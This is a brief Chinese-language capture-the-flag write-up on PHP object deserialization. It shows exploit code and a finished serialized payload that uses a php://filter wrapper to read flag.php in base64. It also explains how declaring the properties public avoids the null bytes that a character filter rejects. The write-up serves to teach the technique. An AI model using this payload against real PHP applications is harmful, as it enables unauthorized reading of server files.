知识点:序列化,如何绕过protected序列化的%00
要op不等于2,且op为int型2
这样在process中op就可以弱等于2,调用read
这边我们可以使得filename=php://filter/read=convert.base64-encode/resource=flag.php读取base64加密后的flag
exp
<?php
class FileHandler {
protected $op=2;
protected $filename="php://filter/read=convert.base64-encode/resource=flag.php";
protected $content;
}
$A = new FileHandler();
echo serialize($A);
?>
但输出时会有几个特殊字符,protected权限的变量在序列化时会有%00*%00字符,%00字符的ASCII码为0,不在is_valid函数规定的32到125的范围内
可以用一种简单的办法绕过:因为php7.1+版本对属性类型不敏感,本地序列化的时候将属性改为public就可以了。
<?php
class FileHandler {
public $op=2;
public $filename="php://filter/read=convert.base64-encode/resource=flag.php";
public $content;
}
$A = new FileHandler();
echo serialize($A);
?>
得到序列化后的
O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:7:"content";N;}
构造payload,得到flag